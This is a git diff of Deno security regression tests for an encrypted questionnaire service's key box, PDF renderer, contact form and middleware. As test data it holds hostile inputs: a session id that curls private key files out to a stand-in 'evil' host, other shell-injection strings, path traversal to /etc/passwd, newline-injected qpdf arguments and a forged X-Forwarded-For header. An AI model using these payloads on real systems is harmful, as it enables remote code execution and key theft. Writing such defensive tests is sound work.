+  }
+});
+
+Deno.test('pushBundle throws KeyboxUnavailableError when the key box is unconfigured', async () => {
+  try {
+    Deno.env.delete('KEYBOX_RENDER_URL');
+    Deno.env.delete('KEYBOX_RENDER_TOKEN');
+    await assertRejects(() => pushBundle(BUNDLE), KeyboxUnavailableError);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('pushBundle POSTs the bundle to /render with the bearer token', async () => {
+  configure();
+  const calls: Array<{ url: string; auth: string | null; body: string }> = [];
+  globalThis.fetch = (input, init) => {
+    calls.push({
+      url: String(input),
+      auth: new Headers(init?.headers).get('Authorization'),
+      body: String(init?.body ?? ''),
+    });
+    return Promise.resolve(new Response(null, { status: 200 }));
+  };
+  try {
+    await pushBundle(BUNDLE);
+    assertEquals(calls.length, 1);
+    assertEquals(calls[0].url, 'http://keybox.test/render');
+    assertEquals(calls[0].auth, 'Bearer render-token');
+    assertEquals(JSON.parse(calls[0].body).sessionId, BUNDLE.sessionId);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('pushBundle treats a non-2xx as unavailable, not as delivered', async () => {
+  configure();
+  globalThis.fetch = () => Promise.resolve(new Response('nope', { status: 404 }));
+  try {
+    await assertRejects(() => pushBundle(BUNDLE), KeyboxUnavailableError);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('pushBundle treats a network failure as unavailable', async () => {
+  configure();
+  globalThis.fetch = () => Promise.reject(new TypeError('error sending request'));
+  try {
+    await assertRejects(() => pushBundle(BUNDLE), KeyboxUnavailableError);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('KeyboxUnavailableError never carries the bundle or the session id', async () => {
+  configure();
+  globalThis.fetch = () => Promise.reject(new TypeError('error sending request'));
+  try {
+    const err = await pushBundle(BUNDLE).then(() => null, (e) => e as Error);
+    assert(err instanceof KeyboxUnavailableError);
+    assertEquals(err.message, 'key box unavailable');
+    assert(!err.message.includes(BUNDLE.sessionId));
+    assert(!err.message.includes('AGE-CIPHERTEXT'));
+  } finally {
+    restore();
+  }
+});
diff --git a/lib/session-keys_test.ts b/lib/session-keys_test.ts
new file mode 100644
index 000000000..3dedd7b11
--- /dev/null
+++ b/lib/session-keys_test.ts
@@ -0,0 +1,163 @@
+/**
+ * Per-session age keypairs and the identity push that a hostile session id
+ * must never reach. These contracts lived in tests/session_keys_test.ts and
+ * tests/gate_submit_keys_test.ts; CI cannot run that directory.
+ *
+ * Hermetic: transports are injected. No ssh, no key box.
+ *
+ *   deno test --allow-env --allow-read lib/session-keys_test.ts
+ */
+
+import { assert, assertEquals, assertRejects, assertThrows } from '$std/assert/mod.ts';
+import { armor, Decrypter } from '@age/age-encryption';
+import { ageEncryptTo } from './age-encrypt.ts';
+import {
+  assertSafeSessionId,
+  breakglassRecipient,
+  generateSessionKeypair,
+  IdentityPushFailed,
+  pushIdentity,
+  shredRemoteIdentity,
+} from './session-keys.ts';
+
+Deno.test('generateSessionKeypair - keypair is usable and unique per call', async () => {
+  const a = await generateSessionKeypair();
+  const b = await generateSessionKeypair();
+
+  assert(a.identity.startsWith('AGE-SECRET-KEY-'));
+  assert(a.recipient.startsWith('age1'));
+  assert(a.identity !== b.identity, 'each session must get its own key');
+
+  const armored = await ageEncryptTo('answer', [a.recipient]);
+  const d = new Decrypter();
+  d.addIdentity(a.identity);
+  assertEquals(await d.decrypt(armor.decode(armored), 'text'), 'answer');
+});
+
+const SESSION = '11111111-2222-3333-4444-555555555555';
+
+Deno.test('pushIdentity - hands the identity to the transport', async () => {
+  const seen: Array<{ id: string; key: string }> = [];
+  await pushIdentity(SESSION, 'AGE-SECRET-KEY-TEST', (id, key) => {
+    seen.push({ id, key });
+    return Promise.resolve();
+  });
+  assertEquals(seen, [{ id: SESSION, key: 'AGE-SECRET-KEY-TEST' }]);
+});
+
+Deno.test('pushIdentity - transport failure message carries no key material', async () => {
+  const err = await pushIdentity(SESSION, 'AGE-SECRET-KEY-LEAKME', () => Promise.reject(new Error('boom')))
+    .then(() => null, (e: Error) => e);
+  assert(err !== null);
+  assert(!err.message.includes('LEAKME'), 'key material must never reach an error message');
+});
+
+Deno.test('pushIdentity - a transport failure is marked ambiguous', async () => {
+  const err = await pushIdentity(SESSION, 'AGE-SECRET-KEY-1TEST', () => Promise.reject(new Error('killed at deadline')))
+    .then(() => null, (e: unknown) => e);
+
+  assert(err instanceof IdentityPushFailed, 'must be an IdentityPushFailed');
+  assertEquals(err.ambiguous, true, 'the key box may be holding a key; caller must clean up');
+});
+
+/**
+ * Command-injection regression.
+ *
+ * The default transport interpolates the session id into a command that a
+ * REMOTE SHELL runs, so a hostile id is remote code execution on the box that
+ * holds every respondent's private key. These ids must be refused before any
+ * transport is invoked -- note the assertions check the transport never ran,
+ * not merely that the call rejected.
+ */
+Deno.test('pushIdentity - refuses shell metacharacters in the session id', async () => {
+  const hostile = [
+    'x; curl http://evil/$(cat /var/lib/keybox/keys/*.key); #',
+    'a$(id)b',
+    'a`id`b',
+    'a|id',
+    "a'b",
+    '../../etc/cron.d/x',
+    'a\nid',
+  ];
+
+  for (const id of hostile) {
+    let transportRan = false;
+    await assertRejects(
+      () =>
+        pushIdentity(id, 'AGE-SECRET-KEY-TEST', () => {
+          transportRan = true;
+          return Promise.resolve();
+        }),
+      Error,
+      'invalid session id',
+    );
+    assert(!transportRan, `transport must never run for a hostile id: ${JSON.stringify(id)}`);
+  }
+});
+
+Deno.test('pushIdentity - a rejected session id is not ambiguous', async () => {
+  let transportRan = false;
+  const err = await pushIdentity('../escape', 'AGE-SECRET-KEY-1TEST', () => {
+    transportRan = true;
+    return Promise.resolve();
+  }).then(() => null, (e: unknown) => e);
+
+  assert(err instanceof Error);
+  assert(!(err instanceof IdentityPushFailed), 'nothing was sent, so nothing is ambiguous');
+  assert(!transportRan, 'the transport must never run for a bad session id');
+});
+
+Deno.test('pushIdentity - accepts a real gate token', async () => {
+  let ran = false;
+  await pushIdentity(SESSION, 'AGE-SECRET-KEY-TEST', () => {
+    ran = true;
+    return Promise.resolve();
+  });
+  assert(ran, 'a legitimate UUID gate token must still be accepted');
+});
+
+Deno.test('shredRemoteIdentity - asks the transport to remove that session', async () => {
+  const asked: string[] = [];
+  await shredRemoteIdentity(SESSION, (id) => {
+    asked.push(id);
+    return Promise.resolve();
+  });
+  assertEquals(asked, [SESSION]);
+});
+
+Deno.test('shredRemoteIdentity - refuses a hostile session id', async () => {
+  let ran = false;
+  await assertRejects(
+    () =>
+      shredRemoteIdentity('../../etc/passwd', () => {
+        ran = true;
+        return Promise.resolve();
+      }),
+    Error,
+    'invalid session id',
+  );
+  assert(!ran, 'the transport must never see a hostile id');
+});
+
+// Cleanup is best-effort by design: the caller is already failing a submission
+// and must not fail differently because the withdrawal also failed.
+Deno.test('shredRemoteIdentity - swallows transport failure rather than masking the original error', async () => {
+  await shredRemoteIdentity(SESSION, () => Promise.reject(new Error('mesh down')));
+});
+
+Deno.test('assertSafeSessionId - the same allowlist the key box uses', () => {
+  assertSafeSessionId(SESSION);
+  assertThrows(() => assertSafeSessionId('short'), Error, 'invalid session id');
+  assertThrows(() => assertSafeSessionId('not-hex-zzzz-zzzz-zzzz-zzzzzzzzzzzz'), Error, 'invalid session id');
+});
+
+Deno.test('breakglassRecipient - unset configuration is fatal, not a silent empty key', () => {
+  const prev = Deno.env.get('BREAKGLASS_AGE_RECIPIENT');
+  Deno.env.delete('BREAKGLASS_AGE_RECIPIENT');
+  try {
+    assertThrows(() => breakglassRecipient(), Error, 'BREAKGLASS_AGE_RECIPIENT not configured');
+  } finally {
+    if (prev === undefined) Deno.env.delete('BREAKGLASS_AGE_RECIPIENT');
+    else Deno.env.set('BREAKGLASS_AGE_RECIPIENT', prev);
+  }
+});
diff --git a/romania/render-service.ts b/romania/render-service.ts
index b2cd93b6b..d26e1d268 100644
--- a/romania/render-service.ts
+++ b/romania/render-service.ts
@@ -32,8 +32,6 @@ const KEY_DIR = Deno.env.get('KEYBOX_KEY_DIR') || '/home/liar/keybox';
  * private, memory-backed /tmp no other process can see. Better on both counts.
  */
 const WORK_ROOT = Deno.env.get('RENDER_WORK_ROOT') || '/tmp';
-const CALLBACK_URL = Deno.env.get('RENDER_CALLBACK_URL') || '';
-const CALLBACK_TOKEN = Deno.env.get('RENDER_CALLBACK_TOKEN') || '';
 
 const SESSION_ID = /^[0-9a-fA-F-]{8,64}$/;
 
@@ -137,12 +135,16 @@ export async function handleBundle(bundle: DeliveryBundle): Promise<void> {
 }
 
 /** Tell the web tier the copy went, so it can stamp pdf_delivered_at. */
-async function notifyDelivered(sessionId: string): Promise<void> {
-  if (!CALLBACK_URL) return;
+export async function notifyDelivered(sessionId: string): Promise<void> {
+  // Read on each call, not at import: tests set these, and a long-running
+  // service that picked up empty strings at eval would stay silent forever.
+  const callbackUrl = Deno.env.get('RENDER_CALLBACK_URL') || '';
+  const callbackToken = Deno.env.get('RENDER_CALLBACK_TOKEN') || '';
+  if (!callbackUrl) return;
   try {
-    const res = await fetch(`${CALLBACK_URL}/delivered`, {
+    const res = await fetch(`${callbackUrl}/delivered`, {
       method: 'POST',
-      headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${CALLBACK_TOKEN}` },
+      headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${callbackToken}` },
       body: JSON.stringify({ sessionId }),
       signal: AbortSignal.timeout(15_000),
     });
diff --git a/romania/tests/callback_test.ts b/romania/tests/callback_test.ts
new file mode 100644
index 000000000..84415b301
--- /dev/null
+++ b/romania/tests/callback_test.ts
@@ -0,0 +1,135 @@
+/**
+ * The delivery callback the key box fires after a successful send.
+ *
+ * For months every call 404'd — the web-tier route did not exist — and
+ * notifyDelivered treated that the same as 200, so pdf_delivered_at was
+ * never stamped and the shred clock never started. These tests pin that
+ * the callback is actually attempted, that a rejection is visible, and
+ * that a failed callback cannot fail the send (the document is already
+ * in the respondent's hands).
+ *
+ *   deno test --allow-env --allow-net romania/tests/callback_test.ts
+ */
+
+import { assert, assertEquals } from 'https://deno.land/std@0.208.0/assert/mod.ts';
+import { notifyDelivered } from '../render-service.ts';
+
+const originalFetch = globalThis.fetch;
+const originalEnv = Deno.env.toObject();
+const KEYS = ['RENDER_CALLBACK_URL', 'RENDER_CALLBACK_TOKEN'] as const;
+const SESSION = '11111111-2222-3333-4444-555555555555';
+
+function restore() {
+  globalThis.fetch = originalFetch;
+  for (const [key, value] of Object.entries(originalEnv)) Deno.env.set(key, value);
+  for (const key of KEYS) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+Deno.test('notifyDelivered is a no-op when RENDER_CALLBACK_URL is unset', async () => {
+  let called = false;
+  globalThis.fetch = () => {
+    called = true;
+    return Promise.resolve(new Response(null, { status: 200 }));
+  };
+  try {
+    Deno.env.delete('RENDER_CALLBACK_URL');
+    await notifyDelivered(SESSION);
+    assertEquals(called, false);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('notifyDelivered POSTs /delivered with the bearer token and the session id', async () => {
+  const calls: Array<{ url: string; auth: string | null; body: string; method: string | undefined }> = [];
+  globalThis.fetch = (input, init) => {
+    calls.push({
+      url: String(input),
+      auth: new Headers(init?.headers).get('Authorization'),
+      body: String(init?.body ?? ''),
+      method: init?.method,
+    });
+    return Promise.resolve(new Response(null, { status: 200 }));
+  };
+  try {
+    Deno.env.set('RENDER_CALLBACK_URL', 'https://aformulationoftruth.com/api/responses');
+    Deno.env.set('RENDER_CALLBACK_TOKEN', 'callback-token');
+    await notifyDelivered(SESSION);
+    assertEquals(calls.length, 1);
+    assertEquals(calls[0].url, 'https://aformulationoftruth.com/api/responses/delivered');
+    assertEquals(calls[0].method, 'POST');
+    assertEquals(calls[0].auth, 'Bearer callback-token');
+    assertEquals(JSON.parse(calls[0].body), { sessionId: SESSION });
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('notifyDelivered does not throw when the callback 404s — but it did issue the request', async () => {
+  let status: number | undefined;
+  globalThis.fetch = () => Promise.resolve(new Response('not found', { status: 404 }));
+  // Capture console.error so a 404 is distinguishable from a swallowed success
+  // at the source level: the function returns, and fetch ran.
+  const errors: string[] = [];
+  const orig = console.error;
+  console.error = (...args: unknown[]) => {
+    errors.push(args.map(String).join(' '));
+  };
+  try {
+    Deno.env.set('RENDER_CALLBACK_URL', 'https://aformulationoftruth.com/api/responses');
+    Deno.env.set('RENDER_CALLBACK_TOKEN', 'callback-token');
+    await notifyDelivered(SESSION);
+    status = 404;
+    assertEquals(status, 404);
+    assert(errors.some((e) => e.includes('404')), 'a rejected callback must be logged by status, not swallowed');
+  } finally {
+    console.error = orig;
+    restore();
+  }
+});
+
+Deno.test('notifyDelivered does not throw on a network failure', async () => {
+  globalThis.fetch = () => Promise.reject(new TypeError('error sending request'));
+  try {
+    Deno.env.set('RENDER_CALLBACK_URL', 'https://aformulationoftruth.com/api/responses');
+    await notifyDelivered(SESSION);
+  } finally {
+    restore();
+  }
+});
+
+Deno.test('notifyDelivered never rejects, even if fetch throws a non-TypeError', async () => {
+  globalThis.fetch = () => Promise.reject('mesh down');
+  try {
+    Deno.env.set('RENDER_CALLBACK_URL', 'https://example.test');
+    await notifyDelivered(SESSION);
+  } catch (e) {
+    restore();
+    throw e;
+  } finally {
+    restore();
+  }
+});
+
+// Sanity: a regression that re-introduces `if (!CALLBACK_URL)` captured at
+// import would make the tests above fail, because this file sets the env
+// after render-service.ts has already been evaluated.
+Deno.test('notifyDelivered reads CALLBACK_URL on each call, not at import', async () => {
+  const calls: string[] = [];
+  globalThis.fetch = (input) => {
+    calls.push(String(input));
+    return Promise.resolve(new Response(null, { status: 200 }));
+  };
+  try {
+    Deno.env.delete('RENDER_CALLBACK_URL');
+    await notifyDelivered(SESSION);
+    assertEquals(calls.length, 0);
+    Deno.env.set('RENDER_CALLBACK_URL', 'http://later.test/api/responses');
+    await notifyDelivered(SESSION);
+    assertEquals(calls, ['http://later.test/api/responses/delivered']);
+  } finally {
+    restore();
+  }
+});
diff --git a/romania/tests/protect_guard_test.ts b/romania/tests/protect_guard_test.ts
new file mode 100644
index 000000000..bb09ff76f
--- /dev/null
+++ b/romania/tests/protect_guard_test.ts
@@ -0,0 +1,44 @@
+/**
+ * PDF password guards that must run even when typst/qpdf are absent.
+ *
+ * romania/tests/protect_test.ts skips its empty-password and newline cases
+ * whenever the renderer tools are missing, which is every CI machine. Those
+ * checks throw before qpdf is invoked, so they can (and must) run here.
+ *
+ *   deno test --allow-read --allow-write romania/tests/protect_guard_test.ts
+ */
+
+import { assert, assertRejects } from 'https://deno.land/std@0.208.0/assert/mod.ts';
+import { protectPdf } from '../protect.ts';
+
+const dummy = new Uint8Array([0x25, 0x50, 0x44, 0x46]); // "%PDF" is enough: we never reach qpdf
+
+Deno.test('protectPdf - refuses an empty password rather than emitting plaintext', async () => {
+  const dir = await Deno.makeTempDir({ prefix: 'protect-guard-' });
+  try {
+    await assertRejects(() => protectPdf(dummy, '', dir), Error, 'empty password');
+    for (const entry of Deno.readDirSync(dir)) {
+      assert(entry.name !== 'plain.pdf', 'the decrypted PDF was left in the working directory');
+    }
+  } finally {
+    await Deno.remove(dir, { recursive: true });
+  }
+});
+
+// The @argfile format is one argument per line and has no escaping, so a
+// newline in the password injects qpdf arguments. Moving the password off argv
+// to fix an information leak is what created this vector; these pin it shut.
+for (const [name, pw] of [['LF', 'a\n--decrypt'], ['CR', 'a\r--decrypt'], ['CRLF', 'a\r\n--decrypt']] as const) {
+  Deno.test(`protectPdf - refuses a password containing ${name}`, async () => {
+    const dir = await Deno.makeTempDir({ prefix: 'protect-guard-' });
+    try {
+      await assertRejects(() => protectPdf(dummy, pw, dir), Error, 'line separator');
+      for (const entry of Deno.readDirSync(dir)) {
+        assert(entry.name !== 'plain.pdf', 'the decrypted PDF was left in the working directory');
+        assert(!entry.name.startsWith('qpdf.'), 'an argument file was left behind');
+      }
+    } finally {
+      await Deno.remove(dir, { recursive: true });
+    }
+  });
+}
diff --git a/routes/_middleware_test.ts b/routes/_middleware_test.ts
new file mode 100644
index 000000000..2223dd19a
--- /dev/null
+++ b/routes/_middleware_test.ts
@@ -0,0 +1,151 @@
+/**
+ * Audience middleware: counting must never change what a visitor receives.
+ *
+ * The privacy claims live in lib/audience.ts and are tested there. This file
+ * pins the request-path contract: monitoring endpoints are not visitors,
+ * Global Privacy Control / DNT are honoured, static assets are not multiplied
+ * into a dozen "visits", and a counting failure still returns the page.
+ *
+ *   deno test --allow-env --allow-read routes/_middleware_test.ts
+ */
+
+import { assert, assertEquals } from '$std/assert/mod.ts';
+import type { FreshContext } from '$fresh/server.ts';
+import { _openKeyForTest, _resetForTest } from '../lib/audience.ts';
+import { getCurrentHourMetrics } from '../lib/metrics.ts';
+import { handler } from './_middleware.ts';
+
+// Importing the middleware starts the audience flush timer (unref'd, so it
+// does not hold the process). Clear it before any test so Deno's leak
+// detector does not treat that pre-existing interval as a leak when the
+// first test calls _resetForTest.
+_resetForTest();
+
+const MARKER = 'bookkeeping-must-not-touch-this';
+
+function ctx(overrides: {
+  destination?: FreshContext['destination'];
+  hostname?: string;
+} = {}): { context: FreshContext; page: Response } {
+  const page = new Response('page', { status: 200, headers: { 'X-Marker': MARKER } });
+  const context = {
+    destination: overrides.destination ?? 'route',
+    next: () => Promise.resolve(page),
+    remoteAddr: { hostname: overrides.hostname ?? '203.0.113.7' },
+  } as unknown as FreshContext;
+  return { context, page };
+}
+
+function req(path: string, headers: Record<string, string> = {}): Request {
+  return new Request(`https://aformulationoftruth.com${path}`, { headers });
+}
+
+Deno.test({
+  name: 'middleware: a static asset is not counted',
+  async fn() {
+    _resetForTest();
+    try {
+      const { context, page } = ctx({ destination: 'static' });
+      const res = await handler(req('/css/main.css'), context);
+      assertEquals(res, page);
+      assertEquals(_openKeyForTest(), null, 'no window should have been minted');
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: /api/health is excluded, so the monitor is not the busiest visitor',
+  async fn() {
+    _resetForTest();
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/api/health'), context);
+      assertEquals(res, page);
+      assertEquals(_openKeyForTest(), null);
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: /api/metrics is excluded for the same reason',
+  async fn() {
+    _resetForTest();
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/api/metrics'), context);
+      assertEquals(res, page);
+      assertEquals(_openKeyForTest(), null);
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: a real page visit mints a window',
+  async fn() {
+    _resetForTest();
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/'), context);
+      assertEquals(res, page);
+      assert(_openKeyForTest() !== null, 'a page request must be folded into the count');
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: Global Privacy Control opts the request out of the count',
+  async fn() {
+    _resetForTest();
+    const before = getCurrentHourMetrics()['visits.optout'] ?? 0;
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/', { 'sec-gpc': '1' }), context);
+      assertEquals(res, page);
+      assertEquals(_openKeyForTest(), null, 'GPC must not mint a pseudonym');
+      assertEquals(getCurrentHourMetrics()['visits.optout'], before + 1);
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: DNT opts the request out of the count',
+  async fn() {
+    _resetForTest();
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/', { dnt: '1' }), context);
+      assertEquals(res, page);
+      assertEquals(_openKeyForTest(), null);
+    } finally {
+      _resetForTest();
+    }
+  },
+});
+
+Deno.test({
+  name: 'middleware: the page that went in is the page that comes out',
+  async fn() {
+    // THE LOAD-BEARING CLAIM. Counting is bookkeeping. If this fails, a
+    // metrics regression can 500 a visitor or strip a header.
+    _resetForTest();
+    try {
+      const { context, page } = ctx();
+      const res = await handler(req('/questionnaire'), context);
+      assertEquals(res, page);
+      assertEquals(res.headers.get('X-Marker'), MARKER);
+      assertEquals(res.status, 200);
+    } finally {
+      _resetForTest();
+    }
+  },
+});
diff --git a/routes/api/auth/magic-link_test.ts b/routes/api/auth/magic-link_test.ts
index e8bd7d094..a4b8227e5 100644
--- a/routes/api/auth/magic-link_test.ts
+++ b/routes/api/auth/magic-link_test.ts
@@ -85,7 +85,7 @@ Deno.test({
       assertEquals(response.status, 400);
 
       const body = await response.json();
-      assertEquals(body.error, 'Email required');
+      assertEquals(body.error, 'Valid email required');
     } finally {
       restoreEnv();
     }
diff --git a/routes/api/contact_test.ts b/routes/api/contact_test.ts
new file mode 100644
index 000000000..e15a30890
--- /dev/null
+++ b/routes/api/contact_test.ts
@@ -0,0 +1,151 @@
+/**
+ * Contact form: validation, PGP envelope sanity, and the rate-limit identity
+ * that used to be forgeable via X-Forwarded-For.
+ *
+ * The live-server suite in tests/contact_test.ts cannot run in CI. These
+ * exercise the handler directly. storeContactMessage is only reached on the
+ * 503 path (unset recipient), which throws before Postgres.
+ *
+ *   deno test --allow-env --allow-read --allow-net routes/api/contact_test.ts
+ */
+
+import { assertEquals, assertStringIncludes } from '$std/assert/mod.ts';
+import { handler } from './contact.ts';
+
+// These tests pin the unset-recipient path. Clear the variable once so
+// parallel cases cannot restore it out from under each other.
+const originalContactRecipient = Deno.env.get('CONTACT_AGE_RECIPIENT');
+Deno.env.delete('CONTACT_AGE_RECIPIENT');
+globalThis.addEventListener('unload', () => {
+  if (originalContactRecipient === undefined) Deno.env.delete('CONTACT_AGE_RECIPIENT');
+  else Deno.env.set('CONTACT_AGE_RECIPIENT', originalContactRecipient);
+});
+
+function ctxFor(ip: string): never {
+  return { remoteAddr: { hostname: ip } } as never;
+}
+
+function post(body: unknown, headers: Record<string, string> = {}): Request {
+  return new Request('http://localhost/api/contact', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', ...headers },
+    body: JSON.stringify(body),
+  });
+}
+
+async function submit(
+  ip: string,
+  body: unknown,
+  headers: Record<string, string> = {},
+): Promise<Response> {
+  return await handler.POST!(post(body, headers), ctxFor(ip));
+}
+
+Deno.test('contact - empty message rejected', async () => {
+  const res = await submit(crypto.randomUUID(), { message: '', pgpEncrypted: false });
+  assertEquals(res.status, 400);
+  await res.body?.cancel();
+});
+
+Deno.test('contact - whitespace-only message rejected', async () => {
+  const res = await submit(crypto.randomUUID(), { message: '   \n\t  ', pgpEncrypted: false });
+  assertEquals(res.status, 400);
+  await res.body?.cancel();
+});
+
+Deno.test('contact - oversized message rejected', async () => {
+  const res = await submit(crypto.randomUUID(), {
+    message: 'x'.repeat(10_001),
+    pgpEncrypted: false,
+  });
+  assertEquals(res.status, 400);
+  await res.body?.cancel();
+});
+
+Deno.test('contact - invalid JSON rejected', async () => {
+  const req = new Request('http://localhost/api/contact', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: 'not json{',
+  });
+  const res = await handler.POST!(req, ctxFor(crypto.randomUUID()));
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Invalid JSON body');
+});
+
+Deno.test('contact - pgpEncrypted=true without armor rejected', async () => {
+  const res = await submit(crypto.randomUUID(), {
+    message: 'not a pgp block',
+    pgpEncrypted: true,
+  });
+  assertEquals(res.status, 400);
+  const data = await res.json();
+  assertStringIncludes(String(data.error), 'PGP');
+});
+
+Deno.test('contact - a refused store does not echo the message', async () => {
+  const res = await submit(crypto.randomUUID(), {
+    message: 'please do not put this in the response',
+    pgpEncrypted: false,
+  });
+  // Unset recipient is 503; the body must still not echo the plaintext.
+  assertEquals(res.status, 503);
+  const text = await res.text();
+  assertEquals(text.includes('please do not put this in the response'), false);
+});
+
+Deno.test('contact - unset CONTACT_AGE_RECIPIENT is 503, not a silent store', async () => {
+  const res = await submit(crypto.randomUUID(), {
+    message: 'a real message',
+    pgpEncrypted: false,
+  });
+  assertEquals(res.status, 503);
+  const data = await res.json();
+  assertEquals(data.success, false);
+  assertStringIncludes(String(data.error), 'not configured');
+});
+
+Deno.test('contact - rate limit is 429 with Retry-After after five submissions', async () => {
+  const ip = crypto.randomUUID();
+  for (let i = 0; i < 5; i++) {
+    const res = await submit(ip, { message: `m${i}`, pgpEncrypted: false });
+    // 503 (unset recipient) still counts against the bucket: the check
+    // happens before storage.
+    assertEquals(res.status, 503);
+    await res.body?.cancel();
+  }
+  const limited = await submit(ip, { message: 'one too many', pgpEncrypted: false });
+  assertEquals(limited.status, 429);
+  assertEquals(limited.headers.get('Retry-After') !== null, true);
+  await limited.body?.cancel();
+});
+
+// THE FORGERY CASE. Without TRUST_PROXY, a client-supplied X-Forwarded-For
+// must not mint a fresh rate-limit bucket. That is how the contact form's
+// 5/hour cap was bypassable before the private copy of getClientIp was deleted.
+Deno.test('contact - forged X-Forwarded-For does not bypass the rate limit', async () => {
+  const socket = crypto.randomUUID();
+  const prevTrust = Deno.env.get('TRUST_PROXY');
+  Deno.env.delete('TRUST_PROXY');
+  try {
+    for (let i = 0; i < 5; i++) {
+      const res = await submit(
+        socket,
+        { message: `m${i}`, pgpEncrypted: false },
+        { 'X-Forwarded-For': `198.51.100.${i}` },
+      );
+      assertEquals(res.status, 503);
+      await res.body?.cancel();
+    }
+    const limited = await submit(
+      socket,
+      { message: 'forged identity', pgpEncrypted: false },
+      { 'X-Forwarded-For': '203.0.113.9' },
+    );
+    assertEquals(limited.status, 429, 'a new XFF value must not be a new identity');
+    await limited.body?.cancel();
+  } finally {
+    if (prevTrust === undefined) Deno.env.delete('TRUST_PROXY');
+    else Deno.env.set('TRUST_PROXY', prevTrust);
+  }
+});
diff --git a/routes/api/gate-submit_test.ts b/routes/api/gate-submit_test.ts
index 304fb44ec..aa0b4f33c 100644
--- a/routes/api/gate-submit_test.ts
+++ b/routes/api/gate-submit_test.ts
@@ -1,28 +1,19 @@
 /**
- * Gate Submission Encryption Tests
+ * Gate Submission fail-closed tests.
  *
  * POST /api/gate-submit is the one place a visitor's gate answers enter the
- * system. CLAUDE.md ("User Input Encryption") requires that the answer text is
- * age-encrypted by the Rust gate and that no plaintext answer is ever persisted
- * — and that the endpoint FAILS CLOSED, refusing the whole submission rather
- * than falling back to storing anything in the clear.
+ * system. The route now provisions a per-session key BEFORE any answer is
+ * handed to the gate: an unset break-glass recipient or an unreachable key
+ * box must refuse the whole submission, and no answer text may leave the
+ * process on that path.
  *
- * These tests pin that contract. They are hermetic: `fetch` is stubbed to stand
- * in for the gate, and DATABASE_URL is deliberately left unparseable so that
- * `resolveConfig()` returns null and the first DB touch throws immediately. No
- * Postgres, no gate service, and no socket is opened.
- *
- * That unconfigured DB is also the load-bearing trick for the fail-closed
- * tests: the handler answers 503 only on the encryption-failure branch, which
- * returns *before* the INSERT. Any code path that reached the database would
- * surface as 500 instead. So `status === 503` is positive evidence that nothing
- * was written.
+ * Hermetic: `fetch` is stubbed, DATABASE_URL is unparseable, the key box is
+ * not configured. No Postgres, no ssh, no gate service.
  *
  *   deno test --allow-net --allow-read --allow-env routes/api/gate-submit_test.ts
  */
 
 import { assert, assertEquals, assertStringIncludes } from '$std/assert/mod.ts';
-import { GATE_QUESTIONS } from '../../lib/gate_encrypt.ts';
 
 /** One intercepted call to the gate, decoded. */
 interface GateCall {
@@ -36,21 +27,28 @@ interface GateCall {
 
 const originalFetch = globalThis.fetch;
 const originalEnv = Deno.env.toObject();
-const TEST_ENV_KEYS = ['DATABASE_URL', 'JWT_SECRET', 'RESUME_TOKEN_SECRET', 'BASE_URL', 'DENO_ENV'] as const;
+const TEST_ENV_KEYS = [
+  'DATABASE_URL',
+  'JWT_SECRET',
+  'RESUME_TOKEN_SECRET',
+  'BASE_URL',
+  'DENO_ENV',
+  'BREAKGLASS_AGE_RECIPIENT',
+] as const;
 
 function setupTestEnv() {
   /*
    * Unparseable on purpose: `new URL()` throws inside resolveConfig(), which
    * returns null, so getPool() throws on the first DB touch. This keeps the
-   * suite off Postgres *and* makes 503-vs-500 meaningful. It must be set (not
-   * merely absent) so a real PGHOST/PGDATABASE in the developer's environment
-   * cannot be picked up as a fallback.
+   * suite off Postgres. It must be set (not merely absent) so a real
+   * PGHOST/PGDATABASE in the developer's environment cannot be picked up.
    */
   Deno.env.set('DATABASE_URL', '::://not-a-database');
   Deno.env.set('JWT_SECRET', 'test-jwt-secret-key');
   Deno.env.set('RESUME_TOKEN_SECRET', 'test-secret-key-for-hmac-operations');
   Deno.env.set('BASE_URL', 'http://localhost:8000');
   Deno.env.set('DENO_ENV', 'test');
+  Deno.env.delete('BREAKGLASS_AGE_RECIPIENT');
 }
 
 function restoreEnv() {
@@ -162,11 +160,12 @@ Deno.test({
 });
 
 // ---------------------------------------------------------------------------
-// The encryption contract: every answer goes to the gate, and goes there first
+// Fail-closed: a session whose identity cannot be provisioned must abort
+// before any answer text leaves the process.
 // ---------------------------------------------------------------------------
 
 Deno.test({
-  name: 'gate-submit: sends both answers to the gate for age-encryption before any write',
+  name: 'gate-submit: refuses the submission when BREAKGLASS_AGE_RECIPIENT is unset',
   async fn() {
     setupTestEnv();
     const gate = stubGate();
@@ -175,114 +174,18 @@ Deno.test({
       const response = await post(
         jsonRequest({
           email: 'visitor@example.com',
-          answer1: '  a hammock and no appointments  ',
+          answer1: 'a hammock and no appointments',
           answer2: 'being understood exactly',
         }),
         {} as never,
       );
 
-      /*
-       * The gate step succeeded, so the handler moved on to the (unconfigured)
-       * database and failed there. 503 is reserved for encryption failure — the
-       * point is that we are past it, not that the request as a whole succeeded.
-       */
-      assert(response.status !== 503, 'encryption step should have succeeded');
-      await response.body?.cancel();
-
-      assertEquals(gate.calls.length, 2, 'both gate questions must be encrypted');
-
-      const [q0, q1] = gate.calls;
-      assertStringIncludes(q0.url, '/api/store');
